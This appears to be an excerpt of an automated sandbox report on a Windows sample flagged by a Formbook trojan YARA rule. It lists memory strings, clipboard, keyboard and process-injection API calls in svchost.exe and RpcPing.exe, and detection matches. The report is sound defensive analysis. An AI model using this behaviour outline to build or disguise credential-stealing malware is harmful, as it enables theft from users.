Source: RpcPing.exe, 00000005.00000003.1989040837.000000000771B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srfhttps://login.
Source: RpcPing.exe, 00000005.00000002.3361983815.000000000093A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf&lw=1&
Source: RpcPing.exe, 00000005.00000002.3361983815.000000000093A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: RpcPing.exe, 00000005.00000002.3361983815.000000000090E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: RpcPing.exe, 00000005.00000002.3361983815.000000000093A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: RpcPing.exe, 00000005.00000002.3361983815.000000000093A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: RpcPing.exe, 00000005.00000003.1993105571.000000000773E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: RpcPing.exe, 00000005.00000003.1993105571.000000000773E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: C:\Users\user\Desktop\xBzBOQwywT.exe

Code function: 0_2_0045A10F OpenClipboard,EmptyClipboard,CloseClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_0045A10F

Source: C:\Users\user\Desktop\xBzBOQwywT.exe

Code function: 0_2_0045A10F OpenClipboard,EmptyClipboard,CloseClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_0045A10F

Source: C:\Users\user\Desktop\xBzBOQwywT.exe

Code function: 0_2_0046DC80 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,

0_2_0046DC80

Source: C:\Users\user\Desktop\xBzBOQwywT.exe

Code function: 0_2_0044C37A GetKeyboardState,SetKeyboardState,PostMessageW,PostMessageW,SendInput,

0_2_0044C37A

Source: C:\Users\user\Desktop\xBzBOQwywT.exe

Code function: 0_2_0047C81C SendMessageW,DefDlgProcW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,GetWindowLongW,SendMessageW,SendMessageW,SendMessageW,_wcsncpy,SendMessageW,SendMessageW,SendMessageW,InvalidateRect,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_0047C81C

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.3367695283.0000000004CE0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3356645004.00000000004D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1804925513.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3365351743.00000000009E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1809587289.00000000056F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3360236201.0000000000880000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1808701497.0000000003590000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3365349150.0000000002A00000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.3367695283.0000000004CE0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.3356645004.00000000004D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.1804925513.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.3365351743.00000000009E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.1809587289.00000000056F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.3360236201.0000000000880000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.1808701497.0000000003590000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.3365349150.0000000002A00000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0042C4E3 NtClose,	2_2_0042C4E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272B60 NtClose,LdrInitializeThunk,	2_2_03272B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272DF0 NtQuerySystemInformation,LdrInitializeThunk,	2_2_03272DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272C70 NtFreeVirtualMemory,LdrInitializeThunk,	2_2_03272C70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032735C0 NtCreateMutant,LdrInitializeThunk,	2_2_032735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03274340 NtSetContextThread,	2_2_03274340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03274650 NtSuspendThread,	2_2_03274650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272BA0 NtEnumerateValueKey,	2_2_03272BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272B80 NtQueryInformationFile,	2_2_03272B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272BE0 NtQueryValueKey,	2_2_03272BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272BF0 NtAllocateVirtualMemory,	2_2_03272BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272AB0 NtWaitForSingleObject,	2_2_03272AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272AF0 NtWriteFile,	2_2_03272AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272AD0 NtReadFile,	2_2_03272AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272F30 NtCreateSection,	2_2_03272F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272F60 NtCreateProcessEx,	2_2_03272F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272FA0 NtQuerySection,	2_2_03272FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272FB0 NtResumeThread,	2_2_03272FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272F90 NtProtectVirtualMemory,	2_2_03272F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272FE0 NtCreateFile,	2_2_03272FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272E30 NtWriteVirtualMemory,	2_2_03272E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272EA0 NtAdjustPrivilegesToken,	2_2_03272EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272E80 NtReadVirtualMemory,	2_2_03272E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272EE0 NtQueueApcThread,	2_2_03272EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272D30 NtUnmapViewOfSection,	2_2_03272D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272D00 NtSetInformationFile,	2_2_03272D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272D10 NtMapViewOfSection,	2_2_03272D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272DB0 NtEnumerateKey,	2_2_03272DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272DD0 NtDelayExecution,	2_2_03272DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272C00 NtQueryInformationProcess,	2_2_03272C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272C60 NtCreateKey,	2_2_03272C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272CA0 NtQueryInformationToken,	2_2_03272CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272CF0 NtOpenProcess,	2_2_03272CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03272CC0 NtQueryVirtualMemory,	2_2_03272CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03273010 NtOpenDirectoryObject,	2_2_03273010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03273090 NtSetValueKey,	2_2_03273090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032739B0 NtGetContextThread,	2_2_032739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03273D10 NtOpenProcessToken,	2_2_03273D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03273D70 NtOpenThread,	2_2_03273D70
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FC4340 NtSetContextThread,LdrInitializeThunk,	5_2_02FC4340
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FC4650 NtSuspendThread,LdrInitializeThunk,	5_2_02FC4650
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FC2AF0 NtWriteFile,LdrInitializeThunk,	5_2_02FC2AF0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FC2AD0 NtReadFile,LdrInitializeThunk,	5_2_02FC2AD0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FC2BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	5_2_02FC2BF0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FC2BE0 NtQueryValueKey,LdrInitializeThunk,	5_2_02FC2BE0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FC2BA0 NtEnumerateValueKey,LdrInitializeThunk,	5_2_02FC2BA0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FC2B60 NtClose,LdrInitializeThunk,	5_2_02FC2B60
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FC2EE0 NtQueueApcThread,LdrInitializeThunk,	5_2_02FC2EE0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FC2E80 NtReadVirtualMemory,LdrInitializeThunk,	5_2_02FC2E80
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FC2FE0 NtCreateFile,LdrInitializeThunk,	5_2_02FC2FE0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FC2FB0 NtResumeThread,LdrInitializeThunk,	5_2_02FC2FB0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FC2F30 NtCreateSection,LdrInitializeThunk,	5_2_02FC2F30
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FC2CA0 NtQueryInformationToken,LdrInitializeThunk,	5_2_02FC2CA0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FC2C70 NtFreeVirtualMemory,LdrInitializeThunk,	5_2_02FC2C70
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FC2C60 NtCreateKey,LdrInitializeThunk,	5_2_02FC2C60
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FC2DF0 NtQuerySystemInformation,LdrInitializeThunk,	5_2_02FC2DF0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FC2DD0 NtDelayExecution,LdrInitializeThunk,	5_2_02FC2DD0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FC2D30 NtUnmapViewOfSection,LdrInitializeThunk,	5_2_02FC2D30
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FC2D10 NtMapViewOfSection,LdrInitializeThunk,	5_2_02FC2D10
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FC35C0 NtCreateMutant,LdrInitializeThunk,	5_2_02FC35C0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FC39B0 NtGetContextThread,LdrInitializeThunk,	5_2_02FC39B0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FC2AB0 NtWaitForSingleObject,	5_2_02FC2AB0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FC2B80 NtQueryInformationFile,	5_2_02FC2B80
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FC2EA0 NtAdjustPrivilegesToken,	5_2_02FC2EA0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FC2E30 NtWriteVirtualMemory,	5_2_02FC2E30
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FC2FA0 NtQuerySection,	5_2_02FC2FA0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FC2F90 NtProtectVirtualMemory,	5_2_02FC2F90
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FC2F60 NtCreateProcessEx,	5_2_02FC2F60
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FC2CF0 NtOpenProcess,	5_2_02FC2CF0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FC2CC0 NtQueryVirtualMemory,	5_2_02FC2CC0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FC2C00 NtQueryInformationProcess,	5_2_02FC2C00
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FC2DB0 NtEnumerateKey,	5_2_02FC2DB0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FC2D00 NtSetInformationFile,	5_2_02FC2D00
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FC3090 NtSetValueKey,	5_2_02FC3090
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FC3010 NtOpenDirectoryObject,	5_2_02FC3010
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FC3D70 NtOpenThread,	5_2_02FC3D70
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FC3D10 NtOpenProcessToken,	5_2_02FC3D10
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_004F9140 NtReadFile,	5_2_004F9140
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_004F9230 NtDeleteFile,	5_2_004F9230
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_004F92D0 NtClose,	5_2_004F92D0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_004F9430 NtAllocateVirtualMemory,	5_2_004F9430
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_004F8FD0 NtCreateFile,	5_2_004F8FD0

Source: C:\Users\user\Desktop\xBzBOQwywT.exe

Code function: 0_2_00431BE8: GetFullPathNameW,__swprintf,_wcslen,CreateDirectoryW,CreateFileW,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,

0_2_00431BE8

Source: C:\Users\user\Desktop\xBzBOQwywT.exe

Code function: 0_2_00446313 DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,_wcsncpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_00446313

Source: C:\Users\user\Desktop\xBzBOQwywT.exe

Code function: 0_2_004333BE GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,

0_2_004333BE

Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_004096A0	0_2_004096A0
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_0042200C	0_2_0042200C
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_0041A217	0_2_0041A217
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_00412216	0_2_00412216
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_0042435D	0_2_0042435D
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_004033C0	0_2_004033C0
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_0044F430	0_2_0044F430
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_004125E8	0_2_004125E8
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_0044663B	0_2_0044663B
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_00413801	0_2_00413801
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_0042096F	0_2_0042096F
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_004129D0	0_2_004129D0
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_004119E3	0_2_004119E3
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_0041C9AE	0_2_0041C9AE
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_0047EA6F	0_2_0047EA6F
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_0040FA10	0_2_0040FA10
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_0044EB5F	0_2_0044EB5F
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_00423C81	0_2_00423C81
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_00411E78	0_2_00411E78
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_00442E0C	0_2_00442E0C
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_00420EC0	0_2_00420EC0
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_0044CF17	0_2_0044CF17
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_00444FD2	0_2_00444FD2
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_03EBE258	0_2_03EBE258
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_03EC1A60	0_2_03EC1A60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00418443	2_2_00418443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004011C0	2_2_004011C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0042EB13	2_2_0042EB13
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004023A0	2_2_004023A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040FC7A	2_2_0040FC7A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040FC83	2_2_0040FC83
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00416623	2_2_00416623
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040FEA3	2_2_0040FEA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004026AA	2_2_004026AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004026B0	2_2_004026B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402F70	2_2_00402F70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040DF23	2_2_0040DF23
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032FA352	2_2_032FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0324E3F0	2_2_0324E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_033003E6	2_2_033003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E0274	2_2_032E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032C02C0	2_2_032C02C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03230100	2_2_03230100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DA118	2_2_032DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032C8158	2_2_032C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_033001AA	2_2_033001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032F81CC	2_2_032F81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032D2000	2_2_032D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240770	2_2_03240770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03264750	2_2_03264750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323C7C0	2_2_0323C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325C6E0	2_2_0325C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240535	2_2_03240535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03300591	2_2_03300591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E4420	2_2_032E4420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032F2446	2_2_032F2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032EE4F6	2_2_032EE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032FAB40	2_2_032FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032F6BD7	2_2_032F6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323EA80	2_2_0323EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03256962	2_2_03256962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032429A0	2_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0330A9A6	2_2_0330A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0324A840	2_2_0324A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03242840	2_2_03242840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032268B8	2_2_032268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326E8F0	2_2_0326E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03282F28	2_2_03282F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03260F30	2_2_03260F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E2F30	2_2_032E2F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B4F40	2_2_032B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032BEFA0	2_2_032BEFA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0324CFE0	2_2_0324CFE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03232FC8	2_2_03232FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032FEE26	2_2_032FEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240E59	2_2_03240E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03252E90	2_2_03252E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032FCE93	2_2_032FCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032FEEDB	2_2_032FEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0324AD00	2_2_0324AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DCD1F	2_2_032DCD1F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03258DBF	2_2_03258DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323ADE0	2_2_0323ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240C00	2_2_03240C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E0CB5	2_2_032E0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03230CF2	2_2_03230CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032F132D	2_2_032F132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322D34C	2_2_0322D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0328739A	2_2_0328739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032452A0	2_2_032452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E12ED	2_2_032E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325B2C0	2_2_0325B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0327516C	2_2_0327516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322F172	2_2_0322F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0330B16B	2_2_0330B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0324B1B0	2_2_0324B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032F70E9	2_2_032F70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032FF0E0	2_2_032FF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032EF0CC	2_2_032EF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032470C0	2_2_032470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032FF7B0	2_2_032FF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032F16CC	2_2_032F16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032F7571	2_2_032F7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DD5B0	2_2_032DD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032FF43F	2_2_032FF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03231460	2_2_03231460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032FFB76	2_2_032FFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325FB80	2_2_0325FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B5BF0	2_2_032B5BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0327DBF9	2_2_0327DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B3A6C	2_2_032B3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032FFA49	2_2_032FFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032F7A46	2_2_032F7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DDAAC	2_2_032DDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03285AA0	2_2_03285AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E1AA3	2_2_032E1AA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032EDAC6	2_2_032EDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032D5910	2_2_032D5910
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03249950	2_2_03249950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325B950	2_2_0325B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AD800	2_2_032AD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032438E0	2_2_032438E0
